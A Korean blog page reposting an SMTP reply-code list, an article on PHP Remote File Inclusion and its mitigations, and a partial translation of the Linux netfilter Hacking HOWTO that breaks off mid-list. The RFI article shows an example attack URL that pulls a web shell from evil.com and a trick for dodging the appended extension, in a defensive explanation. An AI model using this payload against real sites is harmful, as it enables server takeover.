: 1 : 2 : 3 :

이메일 서버에서 보내는 응답코드는 3개의 숫자로 이루어져 있고
각각의 의미 중 첫번째 숫자는 아래와 같습니다.

1 명령어가 받아 들여졌지만 명령어의 처리를 계속할 것인가 그만 둘 것인가를 위해 다음 명령어가 필요

2 성공적으로 명령어가 완료
3 명령어가 받아 들였지만 또 다른 입력이 필요
4 일시적인 에러 조건
5 에러 발생

을 의미합니다.

두 번째 숫자는 좀더 자세한 정보를 주기 위한 상태 범주입니다.
3과 4는 현재 사용되지 않고 있으며 아래와 같습니다.

0 문법 에러
1 정보: 시스템 상태나 도움말
2 접속 상태
3 미사용
4 미사용
5 메일 시스템의 상태

세 번째 숫자는 두 번째 숫자에 대한 보다 더 자세한 정보를 제공하기 위해서 사용됩니다.

아래와 같이 응답코드의 기본적인 의미가 정의 되어 있지만 서버를 만드는 업체에서
임의로 바꾸는 경우도 있습니다.

현재 정의 되어 있는 응답코드는 다음과 같습니다.

211 시스템 상태 또는 시스템 도움말 응답
214 도움말
220 서비스 준비
221 서비스 종료
250 요청이 성공적으로 완료
251 로컬 사용자가 아님: 로 전달
252 VRFY 불가능 사용자이지만 메시지를 받고 전달을 시도함
354 메시지 입력 시작: .로 끝남
421 서비스 활용 불가
450 메일 명령어 처리 불가: 메일 박스 이용 불가(mailbox busy)
451 명령어 중단: 로컬 에러 발생
452 명령어 처리 불가: 저장 공간 부족
500 문법 에러(명령어 인식 불가)
501 문법 에러: 인자 인식 불가
502 구현되지 않은 명령어
503 명령어 순서가 잘못됨
504 명령어의 인자가 구현되지 않았음
550 명령어 처리 불가: 메일 박스 사용 불가(mailbox not found etc.)
551 로컬 사용자 아님: 시도 요청
552 메일 명령어 중단: 저장 공간 초과
553 명령어 처리 불가: 메일 박스의 이름이 유효하지 않음
554 전송 실패

====================================================
출처 : http://blog.paran.com/netko/14469158
2010/01/27 16:05 2010/01/27 16:05
샤이 이 작성.

당신의 의견을 작성해 주세요.


Introduction


Remote File Inclusion (이하 RFI)는 공격자가 웹 어플리케이션에 자신의 코드를 삽입하는 공격이다. 이 공격이 성공하게 되면, 공격자는 자신이 삽입한 코드를 웹 서버상에서 실행할 수 있게 된다. 이 공격이 최근의 것은 아니지만, 아직도 많이 사용되고 있으며, 웹 서버가 공격 당하게 되면 Botnet으로도 악용될 수 있기 때문에 그 영향은 크다고 볼 수 있다.



다음과 같은 PHP 코드를 보자.



include($page . '.php');



이 코드가 다음과 같은 URL에 사용된다고 하자.



http://www.example.com/index.php?page=archive


 


$page 변수가 구체적으로 정의되어 있지 않기 때문에 공격자는 자신의 (공격) 파일을 URL에 삽입할 수 있게 된다. 따라서 다음과 같은 코드를 삽입하면 공격 대상 웹 서버에서 실행된다.



http://www.example.com/index.php?page=http://www.evil.com/shell.php?



include() 함수는 shell.php 파일을 가져와서 실행한다. PHP에서는 리모트와 로컬 컨텐츠를 로딩하는데 동일한 함수를 사용하는 것이 가능하므로 이 문제가 발생한다. 위의 예에서도 $page 변수에 들어 있는 값이 확인되지 않으므로, 그대로 함수로 전달된다. 또한 기존의 코드에는 .php 를 추가하게끔 되어 있어 코드는 다음과 같이 해석된다.



http://www.evil.com/shell.php.php


 


공격자는 이렇게 확장자가 붙는 것을 회피하기 위해 보통 URL 맨 뒤에 ? 를 붙인다. 이렇게 함으로써 다음과 같이 공격자의 스크립트가 파일로 해석되고, ? 뒤는 파라미터로 해석된다(실제로는 무시된다).



http://www.evil.com/shell.php?.php


 


이렇게 URL을 변경함으로써 공격자는 리모트에 있는 자신의 파일을 삽입할 수 있다. 보통 이 악성 PHP 스크립트는 웹 쉘 또는 PHP 쉘이라고도 한다. 웹 쉘을 통해 서버의 파일이나 폴더를 표시, 삭제, 편집, 변경을 할 수 있다. 또한 스펨 메일을 송신하는 쉘도 매우 흔하다. 공격자의 목표는 웹 쉘을 사용하여 관리자나 루트 권한을 획득하는 것이다.




Recommendation


RFI를 예방하기 위해서는 디자인 단계에서부터 시큐리티를 고려한 설계를 해야하는 것은 물론 철저한 테스팅도 필수이다. 안전하게 작성된 어플리케이션은 이미지, XML 파일 등 서버의 리소스를 액세스하는데 유저의 입력값을 사용하지 않는다. 또한 방화벽 룰은 웹 서버로부터 인터넷으로 나가는 아웃바운드 접속을 차단해야 한다. 그러나 실제 유저의 입력값을 사용하지 않는 웹 어플리케이션은 거의 없다고 해도 과언이 아니다.



이하에 중요한 대책 방법들을 소개한다.



1. 간접 오브젝트 리퍼런스 맵을 사용한다. 예를 들어, 파일명이 아닌 파일의 해시를 사용한다.



변경 전
<select name="language">
  <option value="English">English</option>

변경 후
<select name="language">
  <option value="78463a384a5aa4fad5fa73e2f506ecfc">English</option>


2. 프로그래밍 언어가 지원하는 입력 검증 매커니즘을 사용한다. 또는 다음과 같이 입력 검증을 보조할 수 있는 변수명 스키마를 사용한다.



$hostile = &$_POST;   // $_REQUEST 값이 아닌 POST 변수를 참조한다.
$safe['filename'] = validate_file_name($hostile['unsafe_filename']);  // 검증 매커니즘

부당한 입력값이 삽입되면 즉시 발견된다.
잘못된 경우: require_once($_POST['unsafe_filename'].'inc.php');
올바른 경우: require_once($safe['filename'].'inc.php');


3. 유저의 입력값을 절대 믿지 말 것. 철저하게 확인할 것.



4. 웹 서버로부터 불필요한 외부 또는 내부 웹사이트로의 접근을 차단하는 방화벽 룰을 추가할 것. 중요한 시스템은 특히 자신의 VLAN이나 특정 서브넷으로 액세스 범위를 한정할 것.



5. 유저가 입력한 파일이나 파일명이 적합한 것으로 취득되었는지, 변경되지는 않았는지 확인할 것. 이것들은 세션 오브젝트, 아바타, 이미지, PDF 파일, 임시 파일 등에서 발견될 수 있다.



6. 가상화를 사용하여 어플리케이션을 서로 고립시키는 샌드 박스 방법을 사용할 것.



7. php.ini 파일내의 allow_url_fopen과 allow_url_include 를 무효화하고, 이 함수들을 사용하지 말 것. 필요한 경우에는 특정 어플리케이션에만 활성화시키도록 제한할 것.



8. register_globals를 무효화하고, 초기화되지 않은 변수들을 발견하기 위해서 E_STRICT 를 사용할 것.



9. 모든 파일 함수와 스트림 함수(stream_*)가 검증되었는지 확인할 것. 사용자의 입력값이 다음과 같은 함수의 인수로서 제공되지 않았는지 확인할 것.



Include()  include_once()  require()  require_once()  fopen()  imagecreatefromXXX() file()  file_get_contents()  copy()  delete()  unlink()  upload_tmp_dir()  $_FILES  move_uploaded_file()


10. 데이터가 exec(), shell_exec(), system(), eval(), passthru(), ` 과 같은 함수로 전달될 때는 더욱 주의할 것.



11. J2EE의 경우, 시큐리티 매니저가 활성화되어 있는지 그리고 적절하게 설정되어 있는지 확인하고, 어플리케이션의 퍼미션도 적절하게 되어 있는지 확인할 것.


 



Reference
http://www.owasp.org/index.php/TOP_10_2007-A3
http://en.wikipedia.org/wiki/Remote_File_Inclusion

=============================================================================
출처 - http://blog.naver.com/misman95?Redirect=Log&logNo=80074451024

2010/01/13 14:08 2010/01/13 14:08
샤이 이 작성.

당신의 의견을 작성해 주세요.

/etc/yum.repos.d/CentOS-Base.repo
2009/11/16 09:59 2009/11/16 09:59
샤이 이 작성.

당신의 의견을 작성해 주세요.



Linux netfilter Hacking HOWTO


Rusty Russell



金子硏史






본 문서에서는, 먼저 리눅스에 대한 넷필터 아키텍처와 이를 파헤치는 방법, 그리고 넷필터의 최상위에 존재하는 일부 중요한 시스템, 즉 패킷 필터링, 커넥션 트랙킹 그리고 NAT(Network Address Translation)등에 대하여 기술하고자 한다.



















고친 과정
고침 0.2 2001-02-1 고친이 kenji
문장을 보다 매끄럽게 수정하였습니다.
고침 0.1 2001-01-20 고친이 kenji
최초 번역






1. 서문


본 문서는 여행과도 같으며, 일부분은 아주 쉽게 여행할 수 있고 또 다른 부분에서는 독자 여러분 스스로 길을 찾아야 할 것이다. 필자가 독자에게 할 수 있는 최상의 충고는 아주 큰 머그잔에 커피나 핫쵸콜릿을 가득 담아 편안한 의자에 앉아 위험스런 길을 가기 전에 본문의 내용을 넷트웍 해킹이라는 아주 위험스러운 세상에 부합시켜 깊이 생각해 보라는 것 밖에 없다.


넷필터 프레임웍의 최상위에 있는 내부구조의 사용법을 보다 잘 이해하기 위해서는, Packet Filtering HOWTO와 NAT HOWTO를 읽어보는 것이 좋을 것이다. 커널 프로그래밍에 대한 정보를 얻고자 한다면 Rusty's Unreliable Guide to Kernel Hacking과 Rusty's Unreliable Guide to Kernel Locking을 참고하기 바란다.


(C) 2000 Paul `Rusty' Russell. Licensed under the GNU GPL.






1.1. 넷필터(netfilter)란 무엇인가?


넷필터는 표준 Berkeley socket interface의 외부에 존재하는 packet mangling(패킷을 토막내는 일)에 대한 프레임웍으로, 크게 네 부분으로 구성되어 있다. 먼저 각각의 프로토콜은 "hooks"라는 것을 정의하며, 이는 패킷 프로토콜 스택의 packet's traversal에 있는 잘 정의된 포인터를 의미한다. 이러한 포인터에서, 각각의 프로토콜은 패킷과 훅넘버(hook number)를 이용하여 넷필터 프레임웍을 호출하게 된다.


두 번째로, 커널의 일부분은 각 프로토콜에 대하여 다른 hook을 감시하도록 등록할 수 있다. 따라서 패킷이 넷필터 프레임웍을 통과할 때, 누가 그 프로토콜과 훅을 등록했는지 확인하게 된다. 이러한 것이 등록되어 있다면, 등록된 순서대로 패킷을 검사하고, 패킷을 무시하거나(NF_DROP), 통과시키고(NF_ACCEPT), 또는 패킷에 대한 것을 잊어버리도록 넷필터에게 지시하거나(NF_STOLEN), 사용자 공간에 패킷을 대기시키도록(queuing) 넷필터에게 요청한다(NF_QUEUE).


세 번째 부분은 대기된 패킷을 사용자 공간으로 보내기 위해 제어하는 것으로 이러한 패킷은 비동기방식으로 처리된다.


마지막 부분은 코드와 문서에 기록된 주석문으로 구성되어 있으며, 이는 어떠한 실험적 프로젝트에 대해서도 도움이 되는 부분이다. 넷 필터의 모토는 다음과 같다.





				``그래서... KDE보다 얼만큼 좋다는 거죠?''


이러한 저수준 프레임웍과 더불어, 다양한 모듈이 작성되었으며, 이는 이전 버전의 커널에 대하여 유사한 기능, 확장 가능한 NAT시스템 그리고 확장 가능한 패킷 필터링 시스템을 제공한다.






1.1.1. 커널 2.0과 2.2에서의 문제점?






  1. 사용자 공간을 통과하는 패킷에 대하여 어떠한 하부구조도 만들어져 있지 않으며 그 이유는 다음과 같다.





    • 커널수준에서 코딩하는 것이 어렵다



    • 반드시 C/C++로 커널 수준의 코딩이 되어야 한다.



    • 동적 필터링 정책이 커널에 포함되어 있지 않다.



    • 커널 2.2에서는 넷링크를 거처 사용자 공간으로 패킷을 복사하는 방법을 제시하였으나, 재전송 패킷이 느리고 `sanity' check에 지배된다. 예를 들면, 재전송 패킷이 기존의 인터페이스로 들어오도록 요청하는 것이 불가능하다.



  2. 투명한 프락시 구현이 어렵다.





    • 그 주소와 연관된 소켓이 존재하는 지 알아보기 위해 모든 패킷을 살펴본다.



    • Root는 외부 주소와 연결되는 것을 허가해야 한다.



    • 로컬에서 생성된 패킷을 리다이렉트할 수 없다.



    • REDIRECT는 UDP에 대한 응답을 처리하지 못 한다. 예를 들면, UDP 패킷을 1153으로의 리다이렉트가 동작을 하지 않는 경우도 있으며, 이는 일부 클라이언트가 53번 포트가 아닌 다른 곳으로부터 들어오는 응답을 싫어하기 때문이다.



    • REDIRECT는 tcp/upd 포트 재배치에 대하여 관여하지 않는다. 즉, 사용자가 REDIRECT 룰에 의해 결정된 포트를 얻어와야 한다.



    • 커널 2.1 시리즈 개발기간 중 최소 두 번 정도 중단되었다.



    • 코드가 상당히 지저분하다. 커널 2.2.1에서 #ifdef CONFIG_IP_TRANSPARENT_PROXY의 사용 통계를 보면, 11개의 파일에 34번 나타난다. CONFIG_IP_FIREWALL과 비교해 보면, 5개의 파일에 10번만 나타난다.



  3. 인터페이스 어드레스와 별개로 패킷필터 룰을 만드는 것이 불가능하다.





    • 인터페이스를 거쳐오는 패킷이 로컬에서 생성된 것인지 로컬을 들어오는 것인지 구분하기 위해서 반드시 로컬 인터페이스의 주소를 알아야 한다.



    • 리다이렉션이나 매스커레이딩의 경우는 정보가 충분하지 않다..



    • 포워딩 체인만이 외부로 향하는 인터페이스에 대한 정보를 가지고 있다. 네트웍 구성에 대한 지식을 이용하여 어느 인터페이스로부터 패킷이 들어오는지 알고 있어야만 한다.



  4. 매스커레이딩이 필터링에 포함되어 있다:


    필터링과 매스커레이딩간의 상호작용이 방화벽 구축을 복잡하게 만든다:



    • 입력 필터링인 경우, 응답 패킷이 박스 자체를 향하는 것으로 나타난다.



    • 디매스커레이드(demasqueraded)되는 패킷이 포워드 필터링에서는 전혀 나타나지 않는다.



    • 출력 필터링에서는 패킷이 로컬 박스로부터 들어오는 것처럼 보인다.




  5. 포트 포워딩, 라우팅과 QoS에 영향을 줄 수 있는 TOS 처리, 리다이렉트, ICMP 도달불가(unreachable)과 마크(mark) 등이 패킷 필터링 코드에 포함되어 있다.



  6. ipchains 코드는 모듈화되어 있지도 않고 확장할 수도 없다. (예: MAC 어드레스 필터링, 옵션 필터링 등)



  7. 하부구조가 불충분하기 때문에 다른 기술을 낭비하게 만들었다.





    • per-protocol 모듈을 더한 매스커레이딩



    • 라우팅 코드에 의한 빠른 정적 NAT(per-protocol 처리를 포함하지 않았다).



    • 포트 포워딩, 리다이렉트, 자동 포워딩



    • The Linux NAT and Virtual Server Projects.



  8. CONFIG_NET_FASTROUTE와 패킷 필터링간의 호환성 결여:





    • 포워드 패킷은 세 개의 체인을 거쳐 전달된다.



    • 이러한 체인을 무시하고 지나간 경우 알려줄 방법이 없다.



  9. 라우팅 프로텍스로 인해 버려진 패킷을 관찰할 수 없다. (즉, Source Address Verification)



  10. 패킷 필터링 룰에 대하여 자동으로 카운터를 읽어낼 방법이 없다.



  11. CONFIG_IP_ALWAYS_DEFRAG은 컴파일할 때 주는 옵션이라서 일반적인 목적으로 원하는 커널을 배포판을 만들기가 어렵다.







1.1.2. 누구시죠?


나는 이런 짓을 하리만큼 바보스러운 사람이다. ipchains의 공동저자이고 현재 리눅스 커널 IP 방화벽의 메인터너로서, 현재의 시스템 때문에 사람들이 많은 문제를 격었다는 것 뿐만 아니라 그들이 시도하고 있는 것이 점점 더 노출되고 있다는 것을 알았다.






1.1.3. 그게 왜 폭주하죠?


이~~야!, 지난 주에 이 문서를 봤어야 하는 건데...


사실 나는 우리 모두가 되기 원하는 그런 훌륭한 프로그래머가 아니고, 시간, 장비 그리고 영감도 부족해서 시나리오 전체를 충분히 테스트 해보지 못했다. 그저 내가 해본 것이라고는 여러분들이 참여하기를 바라는 마음에서 만든 testsuite를 돌리는 것이 고작이었다.






2. 어디서 최신 버전을 구하죠?


최신의 HOWTO, userspace tools 그리고 testsuite를 가지고 있는 CVS 서버가 samba.org에 있다. 통상적인 브라우징 방법으로는, 웹 인터페이스를 사용할 수 있다. 최신의 소스를 얻으려면 다음과 같이 하면 된다:



  1. anoymous로 SAMBA CVS 서버에 로그인한다:





    cvs -d :pserver:cvs@cvs.samba.org:/cvsroot login



  2. 패스워드를 물어보면 `cvs'라고 친다.



  3. 다음 명령을 이용하여 코드를 체크한다:





    cvs -d :pserver:cvs@cvs.samba.org:/cvsroot co netfilter



  4. 최신 버전으로 업데이트하려면, 다음과 같이 한다.





    					
    cvs update -d -P







3. 넷필터 아키텍처


넷필터는 단지 프로토콜 스택의 다양한 포인트에 존재하는 훅의 연속일 뿐이다. 이상적인 IPv4의 진행경로 다이어그램은 다음과 같다.





A Packet Traversing the Netfilter System:
--->[1]--->[ROUTE]--->[3]--->[4]--->
| ^
| |
| [ROUTE]
v |
[2] [5]
| ^
| |
v |
패킷은 그림의 좌측으로부터 들어와서 단순한 데이터 체크(즉, 데이터가 잘렸는지, 혹은 IP 체크 섬의 이상유무, 뒤죽박죽 되지는 않았는 지 등)를 거쳐, 넷필터 프레임웍의 NF_IP_PRE_ROUTING[1] 훅으로 전달된다.

다음으로, 패킷은 라우팅 코드로 들어가며, 여기서 패킷이 다른 인터페이스로 향하는지 또는 로컬 프로세스로 향하는지 결정된다. 패킷이 라우팅될 수 없는 경우, 라우팅 코드는 패킷을 버리기도 한다.


만일 패킷의 목적지가 들어온 박스라면, 넷필터 프레임웍은 패킷을 프로세스로 전달하기 전에 NF_IP_LOCAL_IN [2] 훅을 다시 한번 호출하게 된다.


만일 다른 인터페이스로 전달하고자 한다면, 넷필터 프레임웍은 NF_IP_FORWARD [3] 훅을 호출한다.


그리고 나서 패킷이 넷트웍 라인으로 보내지기 전에 마지막 넷필터 훅인 NF_IP_POST_ROUTING [4] 훅으로 전달된다.


로컬에서 생성된 패킷에 대해서는 NF_IP_LOCAL_OUT [5] 훅이 호출된다. 이 때, 이 훅이 호출된 후 라우팅이 발생하는 것을 알 수 있다. 실제로는 라우팅 코드가 소스 IP 주소와 몇 가지 IP 옵션을 확인하기 위해 라우팅 코드가 먼저 호출이 된다. 즉, 라우팅을 변경하고자 한다면, NAT 코드에 되어 있는 것처럼 여러분 스스로 `skb->dst' 필드를 변경해야만 한다.






3.1. 넷필터의 기초


이 절에서는 IPv4에 대한 넷필터의 예를 보일 것이며, 이를 통해 여러분들은 각각의 훅이 동작하는 시점을 이해하게 될 것이다. 이 것이 바로 넷필터의 기초이다.


커널 모듈은 앞서 언급한 어떠한 훅에 대해서 응답할 수 있도록 등록할 수 있으며, 어떤 함수를 등록한 모듈은 훅 내에서 함수의 우선순위에 대하여 반드시 명시하여야 한다. 코어 네트워킹 코드로부터 넷필터 훅이 호출되는 경우, 각 포인트에 등록된 각각의 모듈은 우선순위에 따라 호출이 되고, 패킷을 자유로이 다룰 수 있다. 모듈은 넷필터에게 다음의 다섯 가지 동작을 하도록 요청한다.





  1. NF_ACCEPT: 보통처럼 계속 진행시킨다.



  2. NF_DROP: 패킷을 버린다. 즉 계속 진행시키지 않는다.



  3. NF_STOLEN: 패킷을 접수하겠다. 즉 계속 진행시키지 않는다.



  4. NF_QUEUE: 패킷을 큐로 보낸다.(보통 사용자 공간에서의 처리를 목적으로 한다.)



  5. NF_REPEAT: 현재 훅을 다시 호출한다.


넷필터의 다른 부분은 뒤에 나오는 커널 부분에서 다루기로 한다.


이상과 같은 것이 기초가 되어, 저자들은 다음 두 절에 보인 것과 같은 복잡한 패킷 처리를 만들 수 있다.






3.2. 패킷 선택: IP Tables


IP table을 호출하는 패킷 선택 시스템은 넷필터 프레임웍을 기반으로 구성되었으며, 이는 확장성을 가지고 ipchains로부터 직접 물려받은 유산이다.(ipchains는 ipfwadm으로부터 물려받고, ipfwadm은 BSD의 ipfw IIRC로부터 물려받았다.) 커널 모듈은 새로운 테이블을 등록할 수 있으며, 임의의 패킷이 주어진 테이블을 통과하도록 요청할 수 있다. 이러한 패킷 선택 방법은 패킷 필터링(즉 `필터' 테이블), 네트웍 주소 변환(`nat' 테이블) 그리고 종합적인 pre-route 패킷 mangling(`mangling' 테이블')에 사용한다.


넷필터에 등록된 훅은 다음과 같다.(여기서는 각각의 함수가 실제로 호출되는 순서로 각각의 훅에 있는 함수와 같이 보였다.)





   --->PRE------>[ROUTE]--->FWD---------->POST------>
Conntrack | Filter ^ NAT (Src)
Mangle | | Conntrack
NAT (Dst) | [ROUTE]
(QDisc) v |
IN Filter OUT Conntrack
| Conntrack ^ Mangle
| | NAT (Dst)
v | Filter





3.2.1. 패킷 필터링


`filter'라는 테이블은 패킷을 절대로 변경시키지 않고 단지 걸러내기만 한다.


ipchains와 비교했을 때, iptables filter의 장점 중 하나는 작고 빠르다는 것이며, NF_IP_LOCAL_IN과 NF_IP_FORWARD, NF_IP_LOCAL_OUT 시점에서 넷필터로 훅킹된다. 이는, 주어진 패킷에 대하여 이를 필터링 하는 위치가 오직 하나 뿐이라는 것을 의미한다. 결국 사용자들이 ipchains를 사용한 것보다 더 단순하게 만들며, 또한 넷필터 프레임웍이 NF_IP_FORWARD 훅에 대하여 입력과 출력 인터페이스를 제공한다는 사실은 다양한 필터링이 훨씬 단순해진다는 것을 의미한다.


주: 필자는 업그레이드의 필요 없이 기존의 ipfwadm과 ipchains를 사용 가능하도록 넷필터의 최상위에 모듈로서 ipchains와 ipfwadm의 커널부분을 포팅 하였다.






3.2.2. NAT


이는 `nat' 테이블의 영역으로, 두 가지의 넷필터 훅으로 패킷을 전달한다. 즉, non-local 패킷에 대해, 각각 목적지와 소스 전환에 대하여 NF_IP_PRE_ROUTING과 NF_IP_POST_ROUTING 훅이 완벽하게 동작한다. CONFIG_IP_NF_NAT_LOCAL이 정의된 경우, NF_IP_LOCAL_OUT과 NF_IP_LOCAL_IN 훅이 로컬 패킷의 목적지를 전환하기 위해 사용된다.


이 테이블은 `filter' 테이블과는 약간 다르며, 새로운 커넥션의 첫 번째 패킷만이 테이블로 전달된다. 따라서 이와 같은 전달의 결과는 동일한 커넥션에 있어서 향후 전달되는 모든 패킷에 적용된다.






3.2.3. 매스커레이딩, 포트 포워딩, 투명한 프락시


필자는 NAT를 출발지 NAT(즉 첫 번째 패킷이 출발지를 변경하는 경우)와 목적지 NAT(첫 번째 패킷이 목적지를 변경하는 경우)로 구분하였다.


매스커레이딩은 출발지 NAT의 특별한 경우이며, 포트 포워딩과 투명한 프락시는 목적지 NAT의 특별한 경우이다. 이와 같은 것은 서로 독립적인 엔티티를 가지고 NAT 프레임웍을 이용하여 구현되었다.






3.2.4. 패킷 맹글링(packet mangling)


패킷 맹글링 테이블(`mangling' table)은 패킷의 정보를 실제로 변경하기 위해 사용되며, NF_IP_PRE_ROUTING과 NF_IP_LOCAL_OUT 시점에서 넷필터로 훅킹된다.







3.3. 연결 추적


연결추적(connection tracking)은 NAT의 기본이지만, 모듈로 분리되어 구현된다. 이는 연결추적을 단순하고 명확하게 사용할 수 있도록 패킷 필터링 코드에 대한 확장성을 제공한다.(`state' 모듈)






3.4. 그이외 추가된 사항


새로운 유연성 때문에 정말로 무서운 일을 겪을 기회가 많아졌지만, 다른 사람들이 향상된 코드를 작성하거나 기존의 코드를 완전히 대체해 버릴 수 있는 기회 역시 많아졌다.






1. 프로그래머들을 위한 정보


비밀을 하나 말씀드리겠습니다. 뭐냐하면, 제가 기르는 햄스터가 모든 코드를 작성했습니다. 저는 단지 전달하는 역할만 했고, 모든 계획은 제 애완동물이 했습죠. 그러니 버그가 생기더라도 저를 원망하지 마시고, 귀여운 털북숭이를 원망하시기 바랍니다.





1.1. ip_tables의 이해


iptables는 메모리 내에 있는 규칙의 명명된 배열과 각각의 훅으로부터 패킷이 전달되기 시작해야 하는 정보를 단순히 제공만 하는 것이다. 어떤 테이블이 등록되고 나면, 사용자 공간은 getsockopt()과 setsockopt()를 이용하여 그 내용을 읽고 변경할 수 있다.


iptables는 어떠한 넷필터 훅에도 등록하지 않으며, 이를 수행하는 다른 모듈에 의존하고 적절히 패킷을 모듈에 전달한다. 다시 말해, 하나의 모듈은 넷필터 훅과 ip_tables에 따로따로 등록해야한 하고, 훅이 발생하면 ip_tables를 호출하는 메커니즘을 제공한다.






1.1.1. ip_tables의 데이터 구조


편리성을 위해, 동일한 데이터 구조를 사용하여 사용자 공간에 의한 규칙과 커널내부의 규칙을 표현하였다. 이렇게 표현된 데이터 구조 중 아주 일부분만이 커널 내부에서 사용된다.


각각의 규칙은 다음과 같은 부분으로 구성된다.



  1. `struct ipt_entry'



  2. zero 또는 그 이상의 `struct ipt_entry_match' 구조로, 각각은 여기에 추가 가능한 데이터의 크기를 변경할 수 있다.



  3. `struct ipt_entry_target' 구조: 추가 가능한 데이터 크기 변화 가능

규칙의 변화 가능한 특성은 확장성에 대하여 상당한 유연성을 제공하며, 특히 각각의 match 혹은 타깃이 임의 크기의 데이터를 전달할 수 있도록 한다. 반면 이는 몇 가지 함정을 만들게 되는 데, 반드시 정렬(alignment)에 주의해야만 한다. `ip_entry'와 `ipt_entry_match', `ipt_entry_target' 구조가 크기 변경이 편리하도록 하고, IPT_ALIGN() 매크로를 이용하여 장비의 최대 정렬(alignment)까지 모든 데이터들을 모으는 것 등을 확실하게 함으로써 정렬을 구현하였다.

`struct ipt_entry'는 다음과 같은 필드를 포함한다.



  1. `struct ipt_ip' : IP header에 대한 세부항목을 포함



  2. `nf_cache' : 현재의 규칙을 검사해야하는 패킷의 부분을 알려주는 비트 필드



  3. `target_offset' : ipt_entry_target 구조가 시작하는 현재 규칙의 시작점으로부터의 offset을 알려주는 필드



  4. `next_offset' : 현재 규칙의 최대 크기를 알려주는 필드로 match와 target을 포함한다. 이 것 역시 IPT_ALIGN 매크로를 이용하여 정렬되어야 한다.



  5. `comefrom' : 패킷의 경로를 추적하기 위해 커널이 사용하는 필드



  6. `struct ipt_counters' : 현재 규칙에 일치하는 패킷에 대한 바이트 카운터와 패킷을 포함하는 필드



`struct ipt_entry_match'와 `struct ipt_entry_target'은 상당히 유사하며, 전체(IPT_ALIGN으로 정렬된) 길이 필드(각각 `match_size'와 `target_size')와, match와 target(사용자 공간에 대한) 명칭을 포함하는 구조체, 그리고 (커널에 대한) 포인터를 포함한다.






1.1.2. ip_tables의 사용과 진행


커널은 특정한 훅에 의해 지시된 위치에서 관찰을 시작하여, 그에 관련한 규칙을 검사하고, `struct ipt_ip'의 element가 일치하는 경우, 차례로 각각의 `struct ipt_entry_match'를 검사한다(match가 호출된 곳과 관련한 match function을 수행한다). match function이 0을 돌려주는 경우, 현재 규칙에 대한 반복을 중단한다. `hotdrop' 파라미터가 1로 설정된 경우, 현재 패킷은 즉시 폐기된다(tcp match 함수와 같은 곳에서 조금이라도 수상한 패킷에 대해 사용한다).


수행반복이 끝까지 진행된 경우, 카운터가 증가하고, `struct ipt_entry_target'이 검사된다. 표준 타깃인 경우, `verdict' 필드를 읽는다. `verdict' 필드가 음인 경우 패킷이 결정된 것을 의미하고 양인 경우는 이동해야할 offset을 의미한다. 응답이 양이고 offset이 다음 규칙을 가리키지 않으면, `back' 이라는 변수가 세트되고 이전의 `back' 값이 현재 규칙의 `comefrom' 필드에 설정된다.


비표준 타깃에 대해서는 target 함수가 호출되어, 결정을 알려주게 된다.(비표준 타깃은 정적 루프 검출 코드를 위반하기 때문에 이동할 수 없다) 그 결정은, 다음 규칙으로 계속 진행하기 위해서는 IPT_CONTINUE가 될 것이다.






1.2. iptables 확장하기


전 무지하게 게으른 넘이라서, iptables는 얼마든지 확장 가능합니다. 다시 말하면 제 손을 떠나 다른 사람에게 넘어간, 오픈소스 그 이상이라는 거죠.


iptables를 확장한다는 것은 다음의 두 부분을 포함한다. 즉, 새로운 모듈을 작성하여 커널을 확장하는 것과 새로운 공유 라이브러리를 작성하여 사용자 차원의 프로그램인 iptables를 확장하는 것이다.






1.2.1. 커널


예제를 보신 사람들은 알겠지만, 커널 모듈을 작성한다는 것 자체는 상당히 단순하다. 한가지 알아야 할 것은 여러분의 코드가 재진입 가능해야 한다는 것이다. 예를 들어보면, 사용자 공간으로부터 들어오는 어떤 패킷이 존재할 수 있을 것이며, 동시에 또 다른 패킷이 인터럽트에 의해 들어 올 수도 있을 것이다. 하지만, 커널 2.3.4이상에서 SMP를 사용할 경우, CPU당 하나의 인터럽트에 대해 하나의 패킷만 존재하게 된다.


여러분들이 알아야 하는 함수는 다음과 같다.



init_module()


모듈의 진입 포인트로 에러가 발생한 경우 음수를 넘겨주며 넷필터에 성공적으로 등록이 된 경우 0을 돌려준다.


cleanup_module()


모듈의 종료 포인트로 넷필터에서 모듈자체를 등록해제한다.


ipt_register_match()


새로운 match 타입을 등록하기 위하여 사용하며, 이 것을 `struct ipt_match'로 전달해야 한다. 통상 `struct ipt_match'는 정적 변수로 정의한다.


ipt_register_target()


새로운 타입을 등록하기 위해 사용하며, 이 것을 `struct ipt_target'으로 전달해야 한다. 보통 `struct ipt_target'은 정적 변수로 전달된다.


ipt_unregister_target()


target을 등록해제하기 위해 사용한다.


ipt_unregister_match()


match를 등록해제하기 위해 사용한다.



여러분이 작성한 새로운 match나 target에 대한 새로운 공간 내에서의 편법 사용(카운터 기능 제공 같은)에 대한 한가지 경고를 하겠다. SMP 머신의 경우 각각의 CPU에 대하여 전체 테이블을 memcpy()를 이용하여 복사한다. 즉 중심이 되는 정보를 보존하기 바란다면, `limit' match에 사용된 방법을 찾아봐야만 할 것이다.






1.2.1.1. 새로운 Match 함수

새로운 match function은 일반적으로 독립모듈로 작성한다. 바꾸어 말하면, 비록 통상적으로 필요하지 않더라도, 이러한 모듈에 확장성을 제공하는 것이 가능하다는 것이다. 따라서, 사용자들이 직접 여러분이 작성한 모듈과 통신할 수 있도록 넷필터 프레임웍의 `nf_register_sockopt' 함수를 사용하는 것이 하나의 방법이 될 것이다. 또 다른 방법은 넷필터 모듈과 ip_tables에 구현된 것과 동일한 방법으로, 다른 모듈이 자신을 등록하도록 심벌을 export하는 것이다.


여러분 작성한 새로운 함수의 핵심은 ipt_register_match()로 전달되는 ipt_match 구조체이다. 이 구조체는 다음과 같은 필드를 포함한다.



list


임의의 값으로 설정되는 필드이다. 즉 `{ NULL, NULL }'


name


사용자 공간에서 참조되는 match함수의 이름을 저장하는 필드이다. 자동 로딩 기능이 동작하기 위해서 함수의 이름은 모듈의 이름과 일치하여야 한다. 예를 들면, 함수이름이 ``mac''인 경우, 모듈이름은 반드시 ``ipt_mac.o''이어야 한다.


match


